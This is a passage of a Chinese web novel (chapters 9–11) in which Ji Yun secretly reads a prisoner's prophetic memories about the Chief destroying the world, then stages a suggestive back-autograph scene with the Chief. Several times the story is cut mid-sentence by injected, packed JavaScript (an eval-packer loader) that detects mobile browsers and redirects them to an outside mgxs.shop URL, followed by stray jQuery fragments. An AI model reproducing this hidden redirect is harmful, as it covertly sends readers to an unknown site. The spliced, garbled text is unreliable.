首席似乎对纪运的反应并不意外,他的脚步没有停顿,径直走向牢笼的方向,银白色的风衣在冷白的灯光下像是一面无声的旗帜,只是一边走一边出声:“他被评判为具有重大危险性,所以被暂时关押在我这里。” 而牢笼里的人已经毫无S级异能者的敏锐,似乎是才听到两人的讨论声,迟缓的抬起头,循着声音传来的方向看去。 那双眼睛深陷在眼窝里,布满了血丝,但在看到首席的瞬间,瞳孔猛地收缩了一下,立即被肉眼可见的恐惧充斥。 那种恐惧是刻在骨子里的,是即使强撑着也掩盖不了的本能反应。何冰的身体微微后缩,束缚装置发出刺耳的摩擦声,但他很快又强迫自己停下了后退的动作,硬生生将脊背挺直了几分。 “首席。”何冰的声音沙哑,像是许久没有喝过水,语气强作镇定:“我说过,无论你问多少遍,我都不会告诉你。” 他的嘴角扯出一个嘲讽的弧度,干裂的嘴唇渗出细小的血珠:“你不如直接杀了我。” 首席垂眸看着牢笼里的人,表情没有任何波动。 从纪运的角度看去,那种淡然不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“何冰,不要做多余的事。”首席的声音平静而温和,像是在教育一个不听话的孩子:“你现在的状态不适合使用异能。” 何冰咬着牙,血丝从嘴角渗出来。他的目光越过纪运,死死地盯着首席,那双眼睛里恐惧和恨意交织在一起,像是被困在笼中的野兽在做最后的挣扎。 但身体已经不受控制了。 束缚装置将他的异能压制到了极限,连抬手的力气都所剩无几。何冰只能跪坐在原地,胸口剧烈起伏着,每一次呼吸都像是用尽了全身的力气。 首席看向纪运,纪运看到何冰没有再动手的可能后才上前,准备使用催眠异能。 他将注意力重新集中到何冰身上,闭了闭眼,再睁开时,那双黑色的瞳孔已经开始发生变化。 黑色渐渐褪去,取而代之的是一层淡淡的鎏金色,像是融化的金液在眼眶中缓缓流淌。催眠异能全开的状态下,纪运的视觉变得极其敏锐——他能看见何冰身体表面流转的异能波动,那些微弱的、紊乱的、被压制得几乎难以察觉的残余力量。 何冰本身就是S级催眠异能者,因此看样子为了防止自己被催眠,为自己的记忆加了一道难以被轻易破开的防御。 正常情况下,纪运根本无法破开这道牢固的防御,但是现在的情况却截然不同。 在纪运之前,已经有多个催眠异能者尝试过了。他们虽然没有成功,但他们的努力并非毫无意义——何冰脑海中的那道防御措施,已经被一次又一次的冲击磨损得摇摇欲坠。 就像一面被反复撞击的墙,表面上还立着,但内部早已布满裂纹。 想必昨日伍轻松受伤,就是因为想要使用催眠异能破开这道防御的墙壁,但是却没能成功,反倒被墙壁反射的能力所伤。 纪运的鎏金色瞳孔对准了何冰的双眼。 他没有开口询问。 毕竟要是让何冰乖乖回答后,首席知道了自己想要知道的事情,就要解决他了。 正是想通这一点,纪运决定采取更加冒险的方式—— 他尝试着侵入何冰的记忆。 不需要何冰开口,不需要他配合。只要能够触碰到那片被层层加密的记忆区域,只要能够在那道摇摇欲坠的防御上打开一个缺口,他就有可能直接看到预言的内容。 纪运的视线与何冰浑浊的双眼相交。 一股冰冷的阻力从何冰的意识深处涌来,像是一道无形的屏障挡在纪运面前。那是何冰为自己设下的防御,特有的精神壁垒将最核心的记忆层层包裹起来,避免着其他人的窥探。 纪运咬了咬牙,将意识凝成一线,向那道屏障刺去,无数碎片般的画面随之涌入到了纪运的脑海之中。 何冰想要保护的记忆果然和预言有关。 纪运看到了首席。 9. 第 9 章 不,不是他熟悉的那个温和的、唇角永远挂着弧度的首席。 画面中的首席站在一片废墟之上,脚下是被撕裂的大地,远处是燃烧的城市,天空被浓烟染成了暗红色。他的银白色风衣在风中猎猎作响,上面没有沾到一丝尘埃——仿佛周围的一切毁灭都与他无关。 他的表情很平静。 不是愤怒,不是疯狂,甚至不是冷漠,而是一种无趣。 那种深入骨髓的无趣,像是一个已经玩遍了所有玩具的孩子,面对整个世界再也提不起任何兴趣,仿佛这世间已经没有东西能让他觉得有意思了。 纪运的心脏猛地收紧。 这就是何冰预言到的未来—— 首席会毁灭世界,而看样子仅仅是因为无趣。 他的视线扫过面前的场景,像是在思索着下一次构建怎样的世界。 画面继续流转变化。 废墟之上,出现了另一个人影。 纪运一怔,意识到对方的存在或许至关重要,他拼命想要看清那人的模样,但画面像是被一层雾气笼罩,五官模糊得如同隔着一块毛玻璃。 他只能看到那人的轮廓,站立的姿态带着一种说不出的熟悉感。 奇怪,他是不是在哪里见过..... 那人抬起手,掌心亮起一道光。 而就在那道光芒亮起的瞬间,纪运也注意到了对方掌心的痕迹。 不是天生的纹路,不是伤疤,更像是一种印记。那道痕迹在光芒中格外醒目,像是一个无声的标识,标记着这个人的身份。 他是阻拦首席的人。 在所有人都将被毁灭的末日里,只有这个人站了出来,阻止了首席。 纪运想要看得更清楚一些,想要看清那个人的脸,想要看清掌心的痕迹究竟是什么样子。但画面在这一刻戛然而止,像是被人生生掐断了一样。 然后他听到了何冰的声音,不是从现实传来的,而是从记忆深处浮现的,带着一种近乎绝望的颤抖。 “我不会看错的……我的预言从来不会错……” “将来首席会因为无趣毁灭世界……会有一个人阻拦他……掌心有那道痕迹的人……” “他们必须知道……必须有人阻止这件事发生……” 画面剧烈晃动。 纪运看到何冰试图把这段预言告诉身边的人,但并没有人相信他,只当他是疯言疯语,而且还被首席发现了。 何冰的逃跑和反抗在首席面前不值一提,因此被轻而易举的捉住。 他还看到了首席站在何冰面前的样子,依然是那副温和的表情,只是神色里流露出几分无奈,像是在看一个不听话的孩子,然后轻声问了一句:“你看到了我毁灭世界,那阻止我的人又是谁?” 何冰没有回答,而是将这段记忆保护了起来。 面对何冰的沉默,首席唇角的弧度并未有丝毫变化,只是紧接着出声说道:“那就慢慢来。” 从那天起,何冰就再也没有离开过这个地下牢笼。 首席不断地寻找催眠异能者,让他们尝试突破何冰的防御。他不在乎那些催眠者会付出什么代价——失去异能、双目受伤、甚至死亡,这些都只是通往答案的路上可以忽略不计的成本。 他要的只是那个答案。 那个阻拦他的人究竟是谁。 * 纪运快速阅读着何冰的记忆,找到自己想要的内容后,却并没有立即退出,而是重新加固了何冰的记忆,让对方脑海中的防御再一次无懈可击。 毕竟要是不加固,之后首席找其他异能者过来,很容易就能够发现对方的记忆已经被读取过,也会发现他在说谎。 做完这一切,纪运才缓缓退出了何冰的记忆。 随着瞳孔中的鎏金色散去,他的神色流露出了几分疲惫,额角也多了一层薄汗。他余光瞥了一眼,发现何冰不知道是因为刚才的攻击耗尽了力气,还是被入侵了记忆的原因,已经晕了过去。 几乎是在回过神的那一刻,纪运就感觉到了首席的视线落在了他身上。 那道目光很轻,轻到几乎没有重量,却让纪运的脊背不自觉地绷紧了,而后缓缓出声:“抱歉,他的记忆有防御,我暂时无法攻破.....” 首席并没有立即出声,视线依旧落在纪运身上。 时间仿佛在这一刻被无限拉长,首席的视线令纪运觉得有些度秒如年。 他努力控制着自己的心跳别跳的太快,担心自己脸上任何一个微表情泄露了自己在说谎。 纪运在来之前就已经想好了应对的方法—— 他打定主意,无论在预言中看到什么内容都要保持冷静,装作什么都不知道,也无数次练习过自己的表情。 好在因为同人文,他已经知道首席是反派,因此对于预言中的内容虽然错愕,但是因为早有预料的原因,很快回过神来。 纪运保持着微微蹙眉的表情,漆黑的眼睛里映出几分恰到好处的疲惫和遗憾。他的呼吸比平时稍微急促了一些,这并不全是伪装,侵入何冰的记忆确实消耗了他不少精神力,额角的薄汗也是实打实的。 他让自己对上首席的目光,然后略带愧疚地垂下了眼睫。 “对不起.....”纪运的声音放得很轻,带着一种真诚的懊恼:“我试了好几次,那道防御实在太牢固了。我以为能够在上面打开一个缺口,但是每次快要碰到核心记忆的时候,就被弹回来了。” 他把刚才使用的借口又重复了一遍,语气里多加了几分自责:“如果我的异能再强大一些,状态再好一些的话,说不定就能成功了.......” “没关系。”首席终于开口,声线听不出什么失望的情绪,而是依旧温和:“这不是你的错。何冰的防御确实很难突破,之前那么多人都没有成功,你不用自责。” 随着首席的视线从自己身上收起,纪运能够感觉到那道无形的压力也随之消散了。 他猜测首席应该已经完成了评估。 事实也确实如此,刚才首席已经将纪运的反应尽收眼底。 纪运花费的时间有些长,而且退出来后并没有像是其他人那样受伤,引起了首席的几分怀疑。但纪运如果真能看到什么内容,他的表情不会像现在这样平静。 任何一个刚刚窥见“首席将来会毁灭世界”这种级别的预言的人,都不可能表现得像个没事人一样。 纪运的表情太过正常了,疲惫、遗憾、还有一点因为没有帮上忙而产生的不安。这些都是一个普通的、想要在首席面前好好表现的年轻人该有的情绪。 首席率先转过身,银白色的风衣在灯光下划出一道流畅的弧线。他迈步向通道的方向走去,声音从前方传来,带着一如既往的温和:“走吧,先回去休息一下,你今天辛苦了。” 纪运点了点头,连忙跟在首席身后,还在懊恼出声:“我感觉我差一点儿就能够看到了,要是能够提升一下我的异能就好了,可能我还是太弱了.....” “我一直很仰慕您,也想要帮到您,如果您需要,我等恢复异能后可以再尝试一下.......” 首席笑了笑:“没关系。” 两人你来我往的演了好一会儿,纪运一边向首席表达着崇拜,一边还在思考着之前看到的预言。 纪运并不想让首席毁灭世界,毕竟他还想当世界第一异能强者,还想和母亲一起生活。 而阻拦首席毁灭世界的人显然至关重要,他使用异能时掌心没有印记,而且按照原著都不一定能够活到那个时候,所以首先可以排除他自己了。 难道是霍钊? 毕竟系统说了,霍钊才是主角,而且现在想来,那道身影又确实很像霍钊..... 为什么霍钊有能力打败首席,要是他也能够拥有和霍钊一样的力量就好了。他要是能够打败首席,自然而然能够成为世界第一异能强者。 不对,他或许也是有可能的,他现在有了同人系统,提前获知剧情,说不定真的能够做到...... 想到同人系统的存在,纪运稍稍松了半口气。 不过他并没有忘记要是想要知道接下来的剧情,还需要拍摄视频获得阅读币。 纪运的视线落到了首席身上,思索着不知道下一次见到对方会是什么时候,接下来的时间或许是他仅剩的有机会获得阅读币的机会了。 想到接下来要做的事情,他的思绪翻飞,心脏也跳的飞快。 * 直到穿过这道秘密长廊又走回到了书房,纪运的视线看向窗外,假装才发现天色不早,表示想要早些回家休息,只是临别前又有些扭捏出声:“就是....您知道的,我一直很崇拜您,可以给我一个签名吗?” 与此同时,纪运不忘提醒系统打开录像设备 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17523448|203380||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 系统一怔,旋即很快意识到了什么:【你......】 不过此时的纪运来不及应和系统惊讶的声音,他的注意力都放在了面前的首席身上。 首席遇到过这样的小要求。 曾经有很多人向他索要过签名,在任务结束后,在公开演讲的会场外,在各种正式或非正式的场合。那些人的表情大多是类似的:期待、紧张、还有一种近乎虔诚的崇拜。 纪运此刻的表情和那些人如出一辙,因此并没有引起他的怀疑。 首席唇角的弧度没有丝毫变化,他随手拿起桌边那支银白色的钢笔,笔身在灯光下折射出冷冽的光泽。那是一支定制的钢笔,笔帽上镌刻着首席的专属徽记,被修长的手指握在指尖,有种浑然天成的契合感。 “签在哪里?”首席的声音平静而随意,像是在处理一件再寻常不过的小事。 纪运抿了抿唇,黑眸里闪过一丝不易察觉的紧张,但那种紧张被恰到好处地包装成了面对偶像时的羞涩。 他垂下眼睫,手指捏住了自己衣摆的下沿,然后缓缓地将上衣褪了下来。 动作不算快,甚至带着几分刻意的犹豫,像是这个决定也是临时才做出来的。衣料擦过皮肤发出细微的窸窣声,在安静的书房里显得有些过分清晰。 纪运将脱下的衣服搭在手臂上,微微侧过身,露出后腰那片白皙的皮肤。 他的耳根泛着薄红,声音比平时轻了几分:“可以签在这里吗?” 纪运原本以为自己还要经过一番心理挣扎,但是看到预言中的内容后,纪运觉得自己的承受能力又高了不少。 首席执笔的手微微一顿。 “签在衣服上的话......”纪运低着头,声音里带着一种恰到好处的不好意思:“我换衣服可能就留不住了,我也没有办法一直看到。” “但是签在这里的话,就可以一直保留……” 他顿了顿,像是在给自己的行为找一个更合理的解释:“这样每次照镜子时看到,都会提醒自己要努力,不能辜负首席的期望。” 这话说得滴水不漏,仿佛他的目的只是为了激励自己,而并非因为想要完成同人文的片段。 纪运记得在那两章同人章节里,首席在他的身上签下了字母。 虽然无法理解这种行为,但是这确实是难得的清水片段,而且大概也是能借着签名的借口,最不容易被对方怀疑的了。 首席沉默了片刻,目光落在那片裸露的皮肤上。纪运已经转过身,后腰的线条流畅而纤细,腰窝浅浅的,在灯光下投下一小片柔和的阴影。 “你确定?”首席问,声音里听不出什么情绪。 纪运:“非常抱歉,如果不方便就算了......” 有事好商量,不要动手就行。 首席没有再说什么。 他上前一步,银白色的风衣下摆随着动作轻轻扫过纪运的腿侧。两个人之间的距离骤然缩短,近到纪运能闻到首席身上那种淡淡的冷冽气息——不是香水,更像是某种异能者特有的、干净到近乎清冽的味道。 可惜人是反派。 纪运在心里评价道。 笔尖触上了纪运后腰的皮肤。 凉的。 纪运下意识地缩了一下,皮肤上泛起一层细小的颗粒。笔尖的金属确实冰凉,而那种冰凉的触感毫无防备地落在后腰这样一个敏感的位置,任谁都会有一些本能的反应。 察觉到纪运的闪躲,首席的手已经下意识地握住了他的腰。 对方的动作很快,明明纪运觉得自己的注意力都落在身后,警惕着首席的一举一动,但是直到对方手触碰到他时才反应过来。 那只手覆上纪运腰侧的时候,掌心的温度隔着薄薄的空气传递过来,带着一种令人无法忽视的存在感。五指微微收拢,恰好卡在腰线最纤细的位置,指腹压在皮肤上,力度不大,却足以让纪运的动作被牢牢固定住。 纪运的身体僵住了,下意识的细微挣扎也被直接扼杀在摇篮之中。 纪运:“要不......” 这一刻,纪运有些微妙的后悔,很想开口告诉首席还是算了,但是听到系统提醒录制还在继续中,纪运一咬牙又坚持下来。 毕竟机会只有这一次。 他话锋一转,放软了声线:“抱歉首席,我不会乱动的,可以松手了……” 10. 第 10 章 不知道是不是看多了同人文的原因,纪运自己都觉得这个动作似乎颇为暧昧。 首席的声音从头顶落下来,虽然语气依旧称得上是平和,但是却带着让人下意识想要臣服的力量。 首席:“你会乱动。” 纪运轻咬着下唇,他确实没有办法保证这一点,毕竟被笔尖触碰到的感觉比他想象中的还刺激的多。 他低着头,视线落在自己脚尖的方向,耳根的红已经蔓延到了脖颈。他不知道首席的视线是否落在他身上,又是否会觉得他此时的模样奇怪,只能在脑海中思索着找一个借口掩饰自己的异样。 首席的目光顺着对方泛红的耳根,落在自己扣住对方腰侧的手上,微不可察地顿了一下。 他的手指微微收拢,掌心下的皮肤细腻而温热,腰线收束的弧度刚好嵌进他的指节之间,仿佛这个位置天生就是为他准备的。 无数人想要靠近他,想要他的关注、他的任何一点垂青,因此他见过太多投怀送抱的手段,或高明或拙劣,却没有一次让他产生过触碰的欲望。他对那些身体没有任何兴趣,就像他对这个世界上最顶尖的美食、最华丽的风景、最极致的享受都没有任何兴趣一样。 一切都很无趣。 但此刻,他扣住纪运腰侧的手,没有立刻收回来。 首席并不知道纪运主动脱下衣服签名是否有着其他的含义,对方通红的耳根已经暴露了些许心思,或许是一场拙劣的勾引,只是对方的身体却又与之相反颤抖的厉害,像是想要逃开。 这种矛盾感让他觉得有意思。 只是一点点。 首席很快收敛了那丝几乎不存在的情绪,重新握好钢笔,像是在调整一个更顺手的角度。银白色的笔尖再次落在纪运的皮肤上,这一次纪运没有躲—— 毕竟首席的手还扣在他腰侧,让他无处可躲。 察觉到首席开始签名时,纪运的后腰绷得很紧。 他能够感觉到对方的起笔落在腰线上方两指的位置,再往上就接近后背最单薄的区域了。 笔锋凌厉干脆,凉意顺着笔锋蔓延开来,像是一条无声的河流在脊背附近淌过,也让纪运能够清晰的感觉到笔尖划过皮肤时的微小震动,以及墨水渗入皮肤纹理时的每一丝凉意。 一竖从上至下拉得又直又长,像是一把刀划开白色的绸缎。收笔处微微上挑,带出一个若有若无的弧度,在腰窝上方停住。 简单,干净,却因为位置和长度的关系,显得格外暧昧。 首席的另一只手还扣在他的腰侧。 那只手的温度成了他唯一的参照物,掌心的温热和笔尖的冰凉形成鲜明的对比,一热一冷,一静一动,一只是手掌贴合皮肉的触感,一只是笔尖划过表皮的细微刺痛。两种感觉同时作用在后腰狭窄的区域上,像是有人在他身上画了一道分界线,将他整个人割裂成两半。 纪运能感觉到那个浅浅的凹陷处被笔尖的尖端轻轻蹭过,那个位置的皮肤比其他地方更薄,因而也更为敏感,纪运平常自己都很少触碰,但是现在却要直面锋利的笔尖。 笔尖经过的瞬间他几乎想要缩起腰,长睫因为痒意剧烈的颤抖着,但首席扣在他腰侧的手微微收紧了,五指嵌入腰线的弧度,将他牢牢固定在了原地。 别动。 虽然首席并没有出声,但对方的动作已经在无声的提醒了这一点。 纪运动作一滞,原本想要再次出口的拒绝只能化作一声轻轻地“唔”,轻的仿佛下一秒就要消散在空气之中。 笔尖绕过腰窝的边缘,画出那道微微上挑的弧线。纪运能够清晰的感觉到那个弧度是向上勾起,像是在腰窝旁边画了一个小小的半圆,将那片凹陷的区域圈了进去。那个动作太过精细了,精细到纪运几乎可以想象出首席此时的表情——专注的、认真的,仿佛他正在签署一份极其重要的文件,而不是在一个学生的后腰上签名。 好在首席终于停了下来。 虽然此时还不怎么能够看到签名的模样,但是从刚才的笔迹走向来看,纪运猜测首席签署的应该是官方签名S。 有人猜测过S是否和首席的真实姓名有关,不过更多人觉得只是首席第一个字的首字母。 首席端详了一下那个字母,确认位置是否满意,毕竟他还是第一次在人的皮肤上签字。 他扣在纪运腰侧的手还没有松开。拇指无意识地在腰侧的皮肤上轻轻蹭了一下,动作很轻,像是在擦拭多余的墨水,又像是在确认那个字母的旁边有没有留下多余的痕迹。 “好了。”首席终于开口,声音比平时低了些许。 他松开手,退开半步,满意的视线再一次落到了面前的签名上。 这个签在了一片会呼吸、会颤抖、会因为笔尖的触碰而起一层细小颗粒的皮肤上。它不会像纸张一样被收进文件夹,而是会随着这个人的移动而移动,随着这个人的体温而变化,在那片白皙的后腰上慢慢渗透、慢慢凝固,变成一道无法轻易抹去的印记。 他的视线落到纪运身上,纪运还维持着刚才的姿势微微侧身站着,黑色的头发散落在额前,有几缕因为刚才的动作垂下来,遮住了小半张脸,却遮不住脸颊的绯红,在灯光的映照下格外明显,刚才还直视着他的视线如今却躲躲闪闪,像是不敢与他相触,声线有些干涩:“谢谢.....” * 纪运感觉那只手掌离开的时候,被他覆盖过的那片皮肤骤然一凉,像是忽然失去了温度来源,而周围的皮肤还残留着对方掌心的余温。 因为没有镜子,纪运无法察看后腰的情况,不过此时的他并没有什么心情。 一想到刚才自己奇怪的声音,纪运恨不得立即晕倒。虽然首席没有说些什么,但是内心的羞耻涌上心头,他只能一边道谢一边匆匆忙忙的穿好衣服。 首席依然派车将纪运送回纪家。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17523449|203380||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>回去的路上,纪运调整了一下心情,这才出声询问系统拍摄的怎么样。 系统:【如果换做异能评级,可以评为S级。】 纪运并不想在这种事情上被评为S级,但是他转念一想,要是能够趁机机会获得更多阅读币,继续阅读后续章节,心情还是轻松了不少。 纪运:“很好。” 系统对于纪运的态度有些意外,毕竟对方之前还表现得很是绝望。 系统:【你......】 纪运也听出了系统的疑惑,很快在心里对系统出声解释:“我已经看到了预言中的内容,还需要掌握更多情报。” 系统瞬间明白了纪运的心思。 因为系统已经提醒过视频从剪辑到结算需要时间,因而纪运这一次倒是没有出声催促。 回到纪家后,纪运做的第一件事情就是冲上楼,掀起衣服背对着镜子,努力看向腰后留下的痕迹。 和他所想的一样,上面确实写的是字母S。 那个字母还留在后腰上,黑色的墨水在灯光下分外显眼,随着纪运微微急促的呼吸轻轻起伏,像是活了一般。 纪运拿着打湿的毛巾想要擦去,然而擦了几遍,皮肤都因为毛巾的擦拭泛红,但是字迹却依然没有消失。 纪运蹙眉,他原本以为这个签名顶多只是难洗,现在看来不会洗不掉吧? 这可超出了纪运的预料之内,他拿起手机搜索起了去掉身上签名的方法,轮番使用了一遍,虽然墨迹只是稍稍黯淡了一些,但是还是让纪运看到了除去的希望。 而就在此时,管家也在门外敲门,提醒着纪运晚餐时间已到。 纪运下楼后,发现纪家家主和其他几个兄弟姐妹都已经坐在餐桌边。 最靠近纪家家主的位置一直都是纪潮坐,不过如今已经空了出来。 从纪潮看向纪运几次欲言又止的忿忿表情来看,对方让出位置并非是主动谦让的结果。 纪运顺理成章的坐在纪家家主身边,对方还记得之前纪运的话语,因此并没有试图打探任务的内容,而是询问着纪运和首席相处的点点滴滴。 纪运把该省略的省略了,只挑了几件无关痛痒的事情告诉纪家家主,又仗着另外一个当事人不在,借着首席的口夸赞自己的A级异能充满潜力,所以才让首席一眼相中。 纪潮已经捏断了勺子,还没来得及吐槽对方的A级异能能有什么特别,就被纪家家主命令安静,几乎是愤怒离席。 而纪家其他几个兄弟姐妹已经反思起自己的异能怎么没有在首席眼前留下亮眼的表现。 虽然纪家家主也不可能直接找首席求证,但是纪运把握着尺度,并没有夸赞的太过分,以免太过浮夸。 他想让纪家家主知道自己有能力继承纪家。 等用餐结束,纪运也听到系统说视频已经发布完毕,正在结算奖励,连忙上楼想要阅读剩下的同人文内容。 11. 第 11 章 系统:【视频的发布获得了剧烈的反响,这次也有不少评论,有评论觉得你的视频是最成功的coser视频,好像真人走了出来。】 纪运进入到了知识盲区。 还是系统想起来纪运不知道这是什么,随即又出声补充了概念。 经过系统的解释,纪运终于大概知道了coser就是系统世界中模仿他形象,进行拍摄视频或参与活动的人。 纪运之前努力忽略了视频流传被人看的羞耻,如今听到系统的话语,心底生出几分庆幸,看来这些人并不知道他是真实存在的,他的所作所为都被推给了coser。 纪运:“我这次获得了多少阅读币?” 系统:【经过结算,一共是200阅读币,是否需要解锁接下来的章节?】 很好,比上次多了200阅读币,这意味着他可以阅读四个章节了。 纪运毫不犹豫的选择了解锁。 熟悉的屏幕再一次浮现在他的面前,纪运深吸一口气,这才看了下去。 前面两章都在写他和首席的身体纠缠,书房里的位置已经被利用殆尽,两人的阵地又转移到了庄园的其他地方。 由于不想再像是上次一样错失线索,纪运这一次看的格外仔细。 要不是系统也能够看到屏幕上的内容,还以为纪运是在阅读文献内容,不过见纪运看的如此专注,系统还是没忘记出声提—— 系统:【花费10阅读币可解锁下划线和记笔记功能,方便随时记录。】 纪运:“......不用。” 如果这是广告,纪运只能说系统推送的不是时候,毕竟眼下的内容无非是他和首席的负距离接触。纪运原本还想要找到像是上次一样有用的线索和台词,然而这两章里两人的台词少之又少,动作戏多之又多。 他能做什么笔记? 好在霍钊的名字很快出现在纪运的视野之中。 和首席在一起的冲击力对于纪运而言比想象中大得多,以至于看到霍钊的名字时,纪运甚至稍稍轻松了一些。 【“听说了吗,霍钊似乎有异能,已经暂时被抓了起来......” “什么?!他有异能,这是哪里来的消息?那原旭的事情不会是他做的吧?” “可是如果是他早就有异能的话,为什么要伪装没有呢?异能者的待遇要比普通人好多了吧。” “原旭那件事情不是说是他们家族的对手干的吗,竟然还没有查到凶手。不过原旭受的伤比我想象的重,听说现在还在医院,没有出现.....” “你们的消息也太落后了,霍钊已经通过异能检测,确认没有异能,都回去上课了.....” 无数纷杂的讨论声传入到了纪运的耳边,他的瞳孔一颤,几乎是立即就想到了原旭的事情。 上次他想要从霍钊那里撬出有关原旭事情的线索,没想到是他先一步体力不支晕了过去,只在昏迷前隐隐听到霍钊似乎承认了自己有异能。 如今听到学院里的风言风语,纪运愈发怀疑当时自己昏迷边缘产生的幻觉,亦或者是霍钊随意扯出的谎言—— 比起霍钊有异能,他更相信对方有一个强力的外援。 那个外援究竟是谁? 要是能够获得那个外援的支持就好了..... 强烈的念头支撑着他再一次去找霍钊。 纪运是在教学楼后方那条很少有人经过的连廊找到霍钊的,此时的对方正通过连廊看着外面的风景。 阳光从连廊的镂空花窗里漏进来,在他身上投下细碎的光斑,将那张冷淡的脸衬出了几分不真实的感觉,只是霍钊的眼下多了一片青黑,像是流露出了几分疲态。 纪运知道这是异能检测的结果。 异能检测的过程复杂,更别说像是霍钊这样的嫌疑犯,检测的过程只会更为复杂。 他还没有来得及出声,霍钊已经像是有所反应一般转过了头。 纪运能够感觉到对方的视线终于不再像是之前那样无动于衷,而是落在了他身上,视线在纪运的嘴唇上停留了比正常情况多出大概半秒的时间。 对方的停顿有些短暂,如果不是纪运一直在盯着霍钊的眼睛看,根本不会注意到。但纪运看到了,而且他看到霍钊在收回目光的时候,眼睫微微垂了一下,像是某种不经意的闪躲。 看来上一次的事,霍钊并不是毫无感觉。 纪运在心里迅速调整了策略。 如果有用的话,他不介意再使用一次。 纪运又向前迈了一步,把两人之间的距离缩短到不足一臂。 他的手抬了起来,指尖落在霍钊的胸口,那是心脏跳动的位置。 在纪运抬手的一刻,霍钊也下意识想要有所动作,但是又硬生生忍住。 隔着那层黑色的制服衣料,纪运的指尖能感觉到霍钊沉稳有力的心跳,一下一下地敲在他的指腹上。 霍钊低头看了一眼那只手,然后抬眸看着纪运,他的目光也有了变化—— 不是冷淡,不是审视,而是颇为复杂,像是某种被强行压制在平静表面之下的暗涌,如有实质,令纪运无法忽略。 “纪运。”霍钊叫了他的名字。 这似乎还是霍钊第一次叫他的名字。 纪运的指尖微微颤了一下。他没想到自己的名字从霍钊嘴里说出来会是这样的。 对方的声线低沉克制,尾音微微下沉,像是在舌尖上滚了一圈才舍得吐出来。那两个字像是被含在嘴里捂热了才送出的,带着一种说不清道不明的暧昧温度,落在纪运的耳膜上,激起一阵细密的酥麻。 霍钊的声音本就偏低,叫他的名字时更是压到了接近气声的程度,那两个字被气息包裹着,像是一颗被细细打磨过的石子,慢慢地沉进了纪运的心底。 “会有人经过。”霍钊说。 纪运听出了这句话的潜台词。 不是拒绝,而是提醒。 提醒着纪运如果这样做的话,会被其他人看到。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17523450|203380||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 纪运的耳根微微发烫,但他没有收回手。指尖依然贴在霍钊的胸口,感受着那沉稳有力的心跳,一下,一下,像是在替他计数,又像是在替他倒数。 纪运眨了眨眼睛:“那你帮我挡住就好了。” 纪运的话音落下,霍钊就有所动作,仅仅上前一步就将两个人之间最后那点距离彻底碾碎。纪运还没反应过来,腰侧就被一只手臂环住,那只手臂收紧的力道大得惊人,像是要将他整个人嵌进自己的身体里。他的脚尖几乎离了地,整个人被霍钊抱了起来,后背抵上了连廊的石柱。 霍钊比他高出大半个头,身形看起来不算壮硕,制服穿在身上甚至是修长清瘦的轮廓,但纪运已经感觉到那层衣料下面藏着的是什么——不是夸张的肌肉,而是精瘦的、结实的、充满了爆发力的身体。 冰凉的触感隔着衣料传来,与身前滚烫的体温形成了刺目的对比。 纪运并没有挣扎,而是顺从的抬起头吻了上去。】 纪运心跳的飞快,不过这一次却并非是为了霍钊和他的互动。 奇怪,如果说对方之前没有主动报告异能所以才没有经过异能检测,为什么这次对方明明经过了异能检测,却没有任何异能波动? 难道这个时候的霍钊没有异能,所以没有办法被检测出异能? 还是说对方的能力已经可以逃过异能检测器...... 纪运的脑海中一时间生出不少想法,不过最让他激动的还是看样子霍钊要再次使用异能。 之前纪运想着等到异能恢复后,尝试着催眠霍钊,看能否从对方那里得知他的异能究竟是什么,不过他的异能已经被使用,等到恢复也要一段时间之后了。 要是他能够看到那一幕的话,不仅能够知道霍钊的异能,还能够看对方的手上是否有预言中的印记...... * 纪运回到了学院之中,一边应付着同学们好奇的询问,一边在脑海中思索着接下来的计划。 之前因为失去催眠异能的危机,纪运没有什么心思去学院,更别说关注霍钊。 如今危机暂时接触,纪运回到了学院中,又将注意力放回到了霍钊身上。 令纪运松了一口气的是,同人文中提到的剧情点似乎还没有到,纪运偷偷在学院内打听了一下,并没有听到霍钊被抓起来的消息,对方还在学院里。 其他人对霍钊的印象依然是没有异能的人。 纪运并不知道具体的时间点,也不知道对霍钊下手的人会是谁。但是他清楚有不少人嫉妒霍钊的样貌,也猜到要是这些人想要下手,最好的办法自然是在学院外,也就是霍钊放学回去的路上。 